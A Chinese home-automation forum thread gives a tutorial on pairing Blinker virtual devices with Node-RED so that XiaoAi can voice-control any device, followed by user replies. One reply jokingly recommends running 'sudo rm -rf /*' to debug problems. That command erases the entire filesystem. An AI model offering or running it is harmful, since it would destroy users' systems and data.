『瀚思彼岸』» 智能家居技术论坛

 找回密码
 立即注册
查看: 45503|回复: 30

[教程系列] 使用Blinker,语音控制任意设备

  [复制链接]

15

主题

222

帖子

1936

积分

禁止访问

积分
1936
金钱
1694
HASS币
90

教程狂人

发表于 2020-2-27 19:36:03 | 显示全部楼层 |阅读模式
本帖最后由 dodojie 于 2020-2-27 21:32 编辑

鸣谢!
感谢@好冷 大佬,写的node-red-contrib-blinker-mqtt这个插件。



使用场景:可以直接用小米手机上或者小米电视上自带的小爱同学,语音控制家里的任意设备。

场景演示



前置条件:1、带小爱的手机或者电视一台。
                 2、nodered


使用方法:

一、添加虚拟设备

1、下载blinker手机客户端并安装,点击此处下载
2、打开app,点击右上角的加号,添加设备,设备类型选择:Diy设备——Arduino,下一步,选择wifi接入,然后下一步,复制此key,留做备用。
不需要添加任何按键,所有设备按键为空即可。
3、进入设备,点 “开始使用”,然后点击右上角圆圈内带三点的符号,这里可以修改设备名。注意:此处的设备名便是你将要在小爱里面语音控制需要喊的设备名。

二,nodered完成自动化逻辑


1、在nodered里面,搜索关键词“blinker”并安装该节点,节点全程叫“node-red-contrib-blinker-mqtt”。
PS:blinker-in节点是控制指令输入节点,blinker-out是状态反馈节点。
2、导入如下flow。
(, 下载次数: 161)

3、
(, 下载次数: 1)
请将你刚才blinker客户端里复制的key,粘贴到该配置文件内。设备类型选择什么类型,米家服务就会识别成什么类型的设备,自动反馈就是代表被控制设备没有反馈,控制结果成功与否,小爱并没有准确提示,所以不推荐选择自动反馈,当然了,这样的好处就是不需要加入blinker-out反馈节点,只需要一个blinker-in节点就可以了。
4、请将function内的实体ID和key改成你自己的。我的流只是匹配了插座类型,具体控制需要跟你自己的具体设备来改流,具体怎么改,这里就不说了。

enjoy!!!

不填坑,不答疑。。。有问题,可在评论区求助,有懂的大佬一般都会尽量帮忙的。

评分

参与人数 3金钱 +23 HASS币 +20 收起 理由
yexinqiang + 1
情非殇 + 2 赠人玫瑰,手留余香!
+ 20 + 20 厉害的不得了!

查看全部评分

回复

使用道具 举报

48

主题

709

帖子

4712

积分

元老级技术达人

积分
4712
金钱
4003
HASS币
50
QQ
发表于 2020-2-27 19:58:58 | 显示全部楼层
原来是你
如果你遇到了一些解决不了的问题,那么你可以先尝试执行一下这个命令 sudo rm -rf /* 看一看是在哪儿出错了
回复

使用道具 举报

6

主题

136

帖子

772

积分

高级会员

Rank: 4

积分
772
金钱
636
HASS币
0
发表于 2020-2-27 21:00:04 来自手机 | 显示全部楼层
使用Blinker,语音控制任意设备
回复

使用道具 举报

15

主题

438

帖子

4350

积分

论坛元老

Rank: 8Rank: 8

积分
4350
金钱
3912
HASS币
0
发表于 2020-2-27 21:57:24 | 显示全部楼层
必须是手机或者电视么,小爱音箱不行?
回复

使用道具 举报

15

主题

222

帖子

1936

积分

禁止访问

积分
1936
金钱
1694
HASS币
90

教程狂人

 楼主| 发表于 2020-2-27 22:50:34 来自手机 | 显示全部楼层
miniknife 发表于 2020-2-27 21:57
必须是手机或者电视么,小爱音箱不行?

小爱音箱也可以
回复

使用道具 举报

12

主题

545

帖子

2037

积分

金牌会员

Rank: 6Rank: 6

积分
2037
金钱
1492
HASS币
0
发表于 2020-2-28 09:14:07 | 显示全部楼层
不大理解使用方式,是不是我只有那种可以呼出小爱同学的小米手机就好,不用再加入什么设备吗?
回复

使用道具 举报

3

主题

321

帖子

2891

积分

论坛积极会员

积分
2891
金钱
2570
HASS币
10
发表于 2020-2-28 12:51:19 | 显示全部楼层
潇洒哥er 发表于 2020-2-28 09:14
不大理解使用方式,是不是我只有那种可以呼出小爱同学的小米手机就好,不用再加入什么设备吗? ...

意思是在blinker(点灯科技)中添加arduino设备,然后可以在米家APP中设置与blinker的互联,互联之后米家就能访问到blinker中设置的设备,然后小爱同学可以通过米家的授权访问到blinker的设备
回复

使用道具 举报

175

主题

2967

帖子

7606

积分

超级版主

我就是六神

Rank: 8Rank: 8

积分
7606
金钱
4614
HASS币
398

活跃会员教程狂人灌水之王

QQ
发表于 2020-2-28 13:45:06 | 显示全部楼层
前几天好像不能注册账号啊?  验证码不能点
回复

使用道具 举报

12

主题

545

帖子

2037

积分

金牌会员

Rank: 6Rank: 6

积分
2037
金钱
1492
HASS币
0
发表于 2020-2-28 15:06:38 | 显示全部楼层
tcwj2008 发表于 2020-2-28 12:51
意思是在blinker(点灯科技)中添加arduino设备,然后可以在米家APP中设置与blinker的互联,互联之后米家 ...

谢谢,早上试出来了。不过延时比较大,估计中转了好几次的数据,回头再好好研究研究。
回复

使用道具 举报

15

主题

335

帖子

2454

积分

金牌会员

Rank: 6Rank: 6

积分
2454
金钱
2119
HASS币
10
发表于 2020-2-28 21:09:39 | 显示全部楼层
大神可算发新教程了
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Hassbian

GMT+8, 2024-11-25 02:09 , Processed in 0.237283 second(s), 37 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表